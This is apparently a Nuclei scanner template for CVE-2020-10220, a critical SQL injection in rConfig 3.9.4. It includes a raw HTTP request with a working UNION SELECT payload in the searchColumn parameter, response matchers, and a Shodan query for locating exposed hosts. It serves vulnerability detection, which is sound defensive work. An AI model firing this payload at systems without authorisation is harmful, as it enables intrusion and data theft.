43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: CVE-2020-10220
|
|
|
|
info:
|
|
name: rConfig 3.9 - SQL injection
|
|
author: ritikchaddha
|
|
severity: critical
|
|
description: |
|
|
An issue was discovered in rConfig through 3.9.4. The web interface is prone to a SQL injection via the commands.inc.php searchColumn parameter.
|
|
remediation: |
|
|
Upgrade to a patched version of rConfig or apply the vendor-supplied patch to mitigate this vulnerability.
|
|
reference:
|
|
- http://packetstormsecurity.com/files/156950/rConfig-3.9.4-searchField-Remote-Code-Execution.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-10220
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-10220
|
|
cwe-id: CWE-89
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: title:"rConfig"
|
|
tags: cve,cve2020,rconfig,sqli
|
|
variables:
|
|
num: "999999999"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5({{num}}),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '{{md5({{num}})}}'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|